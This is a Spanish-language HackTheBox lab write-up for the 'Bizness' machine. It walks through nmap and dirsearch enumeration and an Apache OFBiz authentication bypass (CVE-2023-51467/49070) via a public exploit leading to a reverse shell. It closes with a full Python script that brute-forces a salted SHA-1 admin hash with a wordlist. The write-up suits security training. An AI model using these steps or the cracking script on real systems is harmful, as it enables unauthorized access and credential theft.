🟩HTB - Bizness
https://app.hackthebox.com/machines/Bizness

Información General
Nombre de la Máquina: Bizness
IP de la Máquina: 10.10.11.252
Sistema Operativo: Linux
Dificultad: Easy
Fecha de Publicación: 06 Jan 2024
Enumeration
Establecer el objetivo
Primero, establecemos el objetivo utilizando el comando settarget
con la dirección IP de la máquina objetivo:
settarget 10.10.11.252

Ping de reconocimiento
Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R
para incluir la ruta de retorno:
ping -c 1 10.10.11.252 -R

Escaneo de puertos con Nmap
Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p-
para escanear todos los puertos, --open
para mostrar solo los puertos abiertos, -sS
para un escaneo de tipo TCP SYN, --min-rate 5000
para establecer la velocidad mínima de paquetes y -vvv
para un nivel de verbosidad alto. Además, utilizamos -n
para desactivar la resolución de DNS, -Pn
para no realizar el escaneo de ping, y -oG allPorts
para guardar la salida en un archivo con formato Greppable:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.252 -oG allPorts

Escaneo detallado con Nmap
Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV
para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__
(reemplazando __PORTS__
con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted
:
sudo nmap -sCV -p22,80,443 10.10.11.252 -oN targeted

cat targeted -l java
Para añadir la entrada "10.10.11.252 bizness.htb" al archivo /etc/hosts
, puedes usar el siguiente comando en la terminal:
echo "10.10.11.252 bizness.htb" | sudo tee -a /etc/hosts
Este comando añade la dirección IP 10.10.11.252
asociada al nombre de host bizness.htb
al archivo /etc/hosts
de tu sistema.
Para realizar un descubrimiento de directorios en un sitio web utilizando Dirsearch (https://github.com/maurosoria/dirsearch).
sudo python3 dirsearch.py -u https://bizness.htb/ --exclude-status 403,404,500,502,400,401

Explotation
Durante una evaluación de seguridad, al revisar el endpoint /control/login
de la aplicación web, se identificó que la aplicación estaba utilizando Apache OFBiz. Tras investigar, se encontraron dos posibles vulnerabilidades: CVE-2023-51467 y CVE-2023-49070. Estas vulnerabilidades podrían permitir un bypass de autenticación en OFBiz.
Para verificar si el sitio era vulnerable manualmente, se realizaron pruebas exploratorias en el endpoint /control/login
. Posteriormente, se decidió probar el exploit disponible en el repositorio jakabakos/Apache-OFBiz-Authentication-Bypass para confirmar la vulnerabilidad.

Probamos inyectando manualmente para ver si es vulnerable:

Ejecutamos el payload para tener nuestra reverse shell.

Privilege Escalation
Durante la investigación de seguridad, se descubrió un archivo llamado AdminUserLoginData.xml
ubicado en /opt/ofbiz/framework/resources/templates
. Este archivo contiene información relacionada con el inicio de sesión de los usuarios administrativos, incluyendo hashes de contraseñas.

Con ayuda de ChatGPT creamos un script para crackear el hash:
#sha1_bruteforce.py --sha1 "SHA1"
import hashlib
import base64
import argparse
from colorama import Fore, Style
def crypt_password(salt, password):
return hashlib.sha1((salt + password).encode('utf-8')).digest()
def crack_password(salt, search_hash, wordlist_path):
with open(wordlist_path, 'r', encoding='latin-1') as f:
for password in f:
password = password.strip()
hashed_password = base64.urlsafe_b64encode(crypt_password(salt, password)).decode('utf-8').replace('+', '.')
if hashed_password == search_hash:
return password
return None
# Parse command line arguments
parser = argparse.ArgumentParser(description='Crack SHA-1 hashed password')
parser.add_argument('--sha1', type=str, help='SHA-1 hash to crack', required=True)
args = parser.parse_args()
salt = "d"
search_hash = args.sha1
wordlist_path = '/usr/share/wordlists/rockyou.txt'
print(f"{Fore.GREEN}Creado por ChatGPT{Style.RESET_ALL}")
print("="*30)
password = crack_password(salt, search_hash, wordlist_path)
if password:
print(f'{Fore.YELLOW}Contraseña encontrada: {password}{Style.RESET_ALL}')
else:
print(f'{Fore.RED}Contraseña no encontrada en el diccionario.{Style.RESET_ALL}')

Con eso tenemos ya las credenciales para obtener nuestro root.txt como nuestro user.txtç

Última actualización
¿Te fue útil?